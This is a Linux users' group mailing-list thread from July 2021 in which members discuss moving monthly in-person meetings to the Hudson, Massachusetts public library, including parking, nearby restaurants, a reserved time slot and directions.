I can't make it this month, but it sounds like a great plan going forward. On Thu, Jul 15, 2021, 11:11 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Ron, > > We have lots of options for meeting locations. We could even shuffle > things around a bit. > > As an aside, please email the list if you intend to attend so we can get a > number. > > Thanks, > Tim. > > On Thu, Jul 15, 2021 at 9:38 AM THE HAMMER via WLUG <wlug(a)lists.wlug.org> > wrote: > >> The Hudson Location involves more driving for me. My guess is if we have >> more meetings there, I would likely attend just a few from time to time. >> I do not plan to be there tonight. That being said and not having been >> there, free parking and food nearby sound like definite pluses. I'm >> anxious to hear how the meeting goes. >> >> Ron >> >> ------------------------------ >> *From:* Tim Keller via WLUG <wlug(a)lists.wlug.org> >> *Sent:* Wednesday, July 14, 2021 3:39 PM >> *To:* Worcester Linux Users' Group General Discussion < >> wlug(a)lists.wlug.org> >> *Cc:* Joshua Stone <joshua.gage.stone(a)gmail.com>; Tim Keller < >> turbofx(a)gmail.com> >> *Subject:* [WLUG] Re: Hosting in-person meetings at library >> >> I think it's a great idea! >> >> Speaking with the Technopia folks, they're interested in having us, but >> it sounds like it would happen in the Sept. time frame, I'd like to have a >> couple in person meetings before that. >> >> Is this something people would be interested in doing tomorrow? >> >> Thanks, >> Tim. >> >> >> On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG < >> wlug(a)lists.wlug.org> wrote: >> >> Hey all, >> >> I've learned that the library in my town is open to the public for >> hosting club meetings! More info: >> >> https://hudsonpubliclibrary.com/ >> >> Some of the benefits I can think of for having meetings at the library >> include: >> >> - Free hosting >> - Free public wifi >> - Free on-site parking >> - Low noise levels >> - Projector and whiteboard are available >> - Books, music, movies, etc, are available for checking out >> (https://bark.cwmars.org/eg/opac/home) >> - Adjacent to many restaurants, most having outdoor seating >> - Has EV charging stations nearby >> - Access to well-maintained walking trails and public parks >> >> Cons: >> >> - Conference room capacity is capped at 10 occupants >> - Meetings must end 15 minutes before library's closing time, so would >> have to end at 8:15PM >> - Many restaurants might be closed by 9PM >> >> >> I could imagine going back to our usual monthly meetings, from 7:00PM >> to 8:15PM on Thursdays, then walking over to one of the restaurants >> next door for food and drinks. I can personally vouch for these local >> establishments, all reachable within a 5 minute walk: >> >> https://railtrailflatbread.com/ >> https://www.wellysrestaurant.com/ >> https://newcitymicrocreamery.com/ >> https://www.lessthangreaterthan.com/ >> https://www.kithandkinhudson.com/ >> https://www.horseshoepub.com/ >> https://freshwingma.com/ >> https://www.medusabrewing.com/beer-garden >> >> What do you think? >> >> - Josh >> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… >> >> >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7RREK… >> > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/6M3SZ… >

July 15, 2021

Re: Hosting in-person meetings at library

by joshua.gage.stone＠gmail.com

Yeah, I wasn't sure how much of a commute driving to Hudson would be. I figured since it was a 20-25 minute drive from WPI that it'd be in the general vicinity for people who're probably commuting in central MA. I figured it'd be worth trying at least once since we've been discussing transitioning back to in-person meetings for some time, and it was something I was able to set up with ease since the library is down the street from my home. - Josh On Thu, 2021-07-15 at 13:38 +0000, THE HAMMER via WLUG wrote: > The Hudson Location involves more driving for me. My guess is if we > have more meetings there, I would likely attend just a few from time > to time. I do not plan to be there tonight. That being said and > not having been there, free parking and food nearby sound like > definite pluses. I'm anxious to hear how the meeting goes. > > Ron > > From: Tim Keller via WLUG <wlug(a)lists.wlug.org> > Sent: Wednesday, July 14, 2021 3:39 PM > To: Worcester Linux Users' Group General Discussion > <wlug(a)lists.wlug.org> > Cc: Joshua Stone <joshua.gage.stone(a)gmail.com>; Tim Keller > <turbofx(a)gmail.com> > Subject: [WLUG] Re: Hosting in-person meetings at library > I think it's a great idea! > > Speaking with the Technopia folks, they're interested in having us, > but it sounds like it would happen in the Sept. time frame, I'd like > to have a couple in person meetings before that. > > Is this something people would be interested in doing tomorrow? > > Thanks, > Tim. > > > On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG > <wlug(a)lists.wlug.org> wrote: > > Hey all, > > > > I've learned that the library in my town is open to the public for > > hosting club meetings! More info: > > > > https://hudsonpubliclibrary.com/ > > > > Some of the benefits I can think of for having meetings at the > > library > > include: > > > > - Free hosting > > - Free public wifi > > - Free on-site parking > > - Low noise levels > > - Projector and whiteboard are available > > - Books, music, movies, etc, are available for checking out > > (https://bark.cwmars.org/eg/opac/home) > > - Adjacent to many restaurants, most having outdoor seating > > - Has EV charging stations nearby > > - Access to well-maintained walking trails and public parks > > > > Cons: > > > > - Conference room capacity is capped at 10 occupants > > - Meetings must end 15 minutes before library's closing time, so > > would > > have to end at 8:15PM > > - Many restaurants might be closed by 9PM > > > > > > I could imagine going back to our usual monthly meetings, from > > 7:00PM > > to 8:15PM on Thursdays, then walking over to one of the restaurants > > next door for food and drinks. I can personally vouch for these > > local > > establishments, all reachable within a 5 minute walk: > > > > https://railtrailflatbread.com/ > > https://www.wellysrestaurant.com/ > > https://newcitymicrocreamery.com/ > > https://www.lessthangreaterthan.com/ > > https://www.kithandkinhudson.com/ > > https://www.horseshoepub.com/ > > https://freshwingma.com/ > > https://www.medusabrewing.com/beer-garden > > > > What do you think? > > > > - Josh > > > > _______________________________________________ > > WLUG mailing list -- wlug(a)lists.wlug.org > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > Change Settings: > > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > Web Forum/Archive: > > > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7RREK…

July 15, 2021

Re: Hosting in-person meetings at library

by joshua.gage.stone＠gmail.com

Hey Richard, Here are the full directions: 3 Washington St Hudson, MA 01749 Next to the library is the Hudson Fire Department, and in between them is the entrance to a municipal parking lot which is free to use. This might help provide clarity: https://www.openstreetmap.org/way/125832712 https://goo.gl/maps/Pt6cNVEkEQkz9y4p9 - Josh On Thu, 2021-07-15 at 09:27 -0400, Richard Klein via WLUG wrote: > Thursday night at the Hudson library? That's 3 Washington St, right? > > On Wed, Jul 14, 2021 at 7:51 PM joshua.gage.stone--- via WLUG > <wlug(a)lists.wlug.org> wrote: > > Update: I went ahead with reserving a meeting time for us tomorrow > > to ensure it'd be available to the club -- 7:00PM to 8:15PM. > > > > I hope that helps! > > > > - Josh > > > > On Wed, 2021-07-14 at 18:30 -0400, joshua.gage.stone(a)gmail.com > > wrote: > > > I can reserve a time slot for tomorrow if there's enough interest > > > in going to the library for a change in pace and scenery. I think > > > it'd be good for transitioning back to in-person meetings! > > > > > > - Josh > > > > > > On Wed, 2021-07-14 at 15:39 -0400, Tim Keller wrote: > > > > I think it's a great idea! > > > > > > > > Speaking with the Technopia folks, they're interested in having > > > > us, but it sounds like it would happen in the Sept. time frame, > > > > I'd like to have a couple in person meetings before that. > > > > > > > > Is this something people would be interested in doing tomorrow? > > > > > > > > Thanks, > > > > Tim. > > > > > > > > > > > > On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG > > > > <wlug(a)lists.wlug.org> wrote: > > > > > Hey all, > > > > > > > > > > I've learned that the library in my town is open to the > > > > > public for > > > > > hosting club meetings! More info: > > > > > > > > > > https://hudsonpubliclibrary.com/ > > > > > > > > > > Some of the benefits I can think of for having meetings at > > > > > the library > > > > > include: > > > > > > > > > > - Free hosting > > > > > - Free public wifi > > > > > - Free on-site parking > > > > > - Low noise levels > > > > > - Projector and whiteboard are available > > > > > - Books, music, movies, etc, are available for checking out > > > > > (https://bark.cwmars.org/eg/opac/home) > > > > > - Adjacent to many restaurants, most having outdoor seating > > > > > - Has EV charging stations nearby > > > > > - Access to well-maintained walking trails and public parks > > > > > > > > > > Cons: > > > > > > > > > > - Conference room capacity is capped at 10 occupants > > > > > - Meetings must end 15 minutes before library's closing time, > > > > > so would > > > > > have to end at 8:15PM > > > > > - Many restaurants might be closed by 9PM > > > > > > > > > > > > > > > I could imagine going back to our usual monthly meetings, > > > > > from 7:00PM > > > > > to 8:15PM on Thursdays, then walking over to one of the > > > > > restaurants > > > > > next door for food and drinks. I can personally vouch for > > > > > these local > > > > > establishments, all reachable within a 5 minute walk: > > > > > > > > > > https://railtrailflatbread.com/ > > > > > https://www.wellysrestaurant.com/ > > > > > https://newcitymicrocreamery.com/ > > > > > https://www.lessthangreaterthan.com/ > > > > > https://www.kithandkinhudson.com/ > > > > > https://www.horseshoepub.com/ > > > > > https://freshwingma.com/ > > > > > https://www.medusabrewing.com/beer-garden > > > > > > > > > > What do you think? > > > > > > > > > > - Josh > > > > > > > > > > _______________________________________________ > > > > > WLUG mailing list -- wlug(a)lists.wlug.org > > > > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > > > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > > > > Change Settings: > > > > > > > > > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > > > > Web Forum/Archive: > > > > > > > > > > > > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… > > > > > > > > > > > > > > > > > _______________________________________________ > > WLUG mailing list -- wlug(a)lists.wlug.org > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > Change Settings: > > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > Web Forum/Archive: > > > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/TZJ2W… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDEF6…

July 15, 2021

Re: Hosting in-person meetings at library

by Tim Keller

Ron, We have lots of options for meeting locations. We could even shuffle things around a bit. As an aside, please email the list if you intend to attend so we can get a number. Thanks, Tim. On Thu, Jul 15, 2021 at 9:38 AM THE HAMMER via WLUG <wlug(a)lists.wlug.org> wrote: > The Hudson Location involves more driving for me. My guess is if we have > more meetings there, I would likely attend just a few from time to time. > I do not plan to be there tonight. That being said and not having been > there, free parking and food nearby sound like definite pluses. I'm > anxious to hear how the meeting goes. > > Ron > > ------------------------------ > *From:* Tim Keller via WLUG <wlug(a)lists.wlug.org> > *Sent:* Wednesday, July 14, 2021 3:39 PM > *To:* Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org > > > *Cc:* Joshua Stone <joshua.gage.stone(a)gmail.com>; Tim Keller < > turbofx(a)gmail.com> > *Subject:* [WLUG] Re: Hosting in-person meetings at library > > I think it's a great idea! > > Speaking with the Technopia folks, they're interested in having us, but it > sounds like it would happen in the Sept. time frame, I'd like to have a > couple in person meetings before that. > > Is this something people would be interested in doing tomorrow? > > Thanks, > Tim. > > > On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG < > wlug(a)lists.wlug.org> wrote: > > Hey all, > > I've learned that the library in my town is open to the public for > hosting club meetings! More info: > > https://hudsonpubliclibrary.com/ > > Some of the benefits I can think of for having meetings at the library > include: > > - Free hosting > - Free public wifi > - Free on-site parking > - Low noise levels > - Projector and whiteboard are available > - Books, music, movies, etc, are available for checking out > (https://bark.cwmars.org/eg/opac/home) > - Adjacent to many restaurants, most having outdoor seating > - Has EV charging stations nearby > - Access to well-maintained walking trails and public parks > > Cons: > > - Conference room capacity is capped at 10 occupants > - Meetings must end 15 minutes before library's closing time, so would > have to end at 8:15PM > - Many restaurants might be closed by 9PM > > > I could imagine going back to our usual monthly meetings, from 7:00PM > to 8:15PM on Thursdays, then walking over to one of the restaurants > next door for food and drinks. I can personally vouch for these local > establishments, all reachable within a 5 minute walk: > > https://railtrailflatbread.com/ > https://www.wellysrestaurant.com/ > https://newcitymicrocreamery.com/ > https://www.lessthangreaterthan.com/ > https://www.kithandkinhudson.com/ > https://www.horseshoepub.com/ > https://freshwingma.com/ > https://www.medusabrewing.com/beer-garden > > What do you think? > > - Josh > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… > > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7RREK… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

July 15, 2021

Re: Hosting in-person meetings at library

by THE HAMMER

The Hudson Location involves more driving for me. My guess is if we have more meetings there, I would likely attend just a few from time to time. I do not plan to be there tonight. That being said and not having been there, free parking and food nearby sound like definite pluses. I'm anxious to hear how the meeting goes. Ron ________________________________ From: Tim Keller via WLUG <wlug(a)lists.wlug.org> Sent: Wednesday, July 14, 2021 3:39 PM To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> Cc: Joshua Stone <joshua.gage.stone(a)gmail.com>; Tim Keller <turbofx(a)gmail.com> Subject: [WLUG] Re: Hosting in-person meetings at library I think it's a great idea! Speaking with the Technopia folks, they're interested in having us, but it sounds like it would happen in the Sept. time frame, I'd like to have a couple in person meetings before that. Is this something people would be interested in doing tomorrow? Thanks, Tim. On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG <wlug(a)lists.wlug.org<mailto:wlug@lists.wlug.org>> wrote: Hey all, I've learned that the library in my town is open to the public for hosting club meetings! More info: https://hudsonpubliclibrary.com/ Some of the benefits I can think of for having meetings at the library include: - Free hosting - Free public wifi - Free on-site parking - Low noise levels - Projector and whiteboard are available - Books, music, movies, etc, are available for checking out (https://bark.cwmars.org/eg/opac/home) - Adjacent to many restaurants, most having outdoor seating - Has EV charging stations nearby - Access to well-maintained walking trails and public parks Cons: - Conference room capacity is capped at 10 occupants - Meetings must end 15 minutes before library's closing time, so would have to end at 8:15PM - Many restaurants might be closed by 9PM I could imagine going back to our usual monthly meetings, from 7:00PM to 8:15PM on Thursdays, then walking over to one of the restaurants next door for food and drinks. I can personally vouch for these local establishments, all reachable within a 5 minute walk: https://railtrailflatbread.com/ https://www.wellysrestaurant.com/ https://newcitymicrocreamery.com/ https://www.lessthangreaterthan.com/ https://www.kithandkinhudson.com/ https://www.horseshoepub.com/ https://freshwingma.com/ https://www.medusabrewing.com/beer-garden What do you think? - Josh _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org<mailto:wlug@lists.wlug.org> To unsubscribe send an email to wlug-leave(a)lists.wlug.org<mailto:wlug-leave@lists.wlug.org> Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

July 15, 2021

Re: Hosting in-person meetings at library

by Richard Klein

Thursday night at the Hudson library? That's 3 Washington St, right? On Wed, Jul 14, 2021 at 7:51 PM joshua.gage.stone--- via WLUG < wlug(a)lists.wlug.org> wrote: > Update: I went ahead with reserving a meeting time for us tomorrow to > ensure it'd be available to the club -- 7:00PM to 8:15PM. > > I hope that helps! > > - Josh > > On Wed, 2021-07-14 at 18:30 -0400, joshua.gage.stone(a)gmail.com wrote: > > I can reserve a time slot for tomorrow if there's enough interest in going > to the library for a change in pace and scenery. I think it'd be good for > transitioning back to in-person meetings! > > - Josh > > On Wed, 2021-07-14 at 15:39 -0400, Tim Keller wrote: > > I think it's a great idea! > > Speaking with the Technopia folks, they're interested in having us, but it > sounds like it would happen in the Sept. time frame, I'd like to have a > couple in person meetings before that. > > Is this something people would be interested in doing tomorrow? > > Thanks, > Tim. > > > On Tue, Jul 13, 2021 at 9:25 PM joshua.gage.stone--- via WLUG < > wlug(a)lists.wlug.org> wrote: > > Hey all, > > I've learned that the library in my town is open to the public for > hosting club meetings! More info: > > https://hudsonpubliclibrary.com/ > > Some of the benefits I can think of for having meetings at the library > include: > > - Free hosting > - Free public wifi > - Free on-site parking > - Low noise levels > - Projector and whiteboard are available > - Books, music, movies, etc, are available for checking out > (https://bark.cwmars.org/eg/opac/home) > - Adjacent to many restaurants, most having outdoor seating > - Has EV charging stations nearby > - Access to well-maintained walking trails and public parks > > Cons: > > - Conference room capacity is capped at 10 occupants > - Meetings must end 15 minutes before library's closing time, so would > have to end at 8:15PM > - Many restaurants might be closed by 9PM > > > I could imagine going back to our usual monthly meetings, from 7:00PM > to 8:15PM on Thursdays, then walking over to one of the restaurants > next door for food and drinks. I can personally vouch for these local > establishments, all reachable within a 5 minute walk: > > https://railtrailflatbread.com/ > https://www.wellysrestaurant.com/ > https://newcitymicrocreamery.com/ > https://www.lessthangreaterthan.com/ > https://www.kithandkinhudson.com/ > https://www.horseshoepub.com/ > https://freshwingma.com/ > https://www.medusabrewing.com/beer-garden > > What do you think? > > - Josh > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/J7HU7… > > > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/TZJ2W… >

July 15, 2021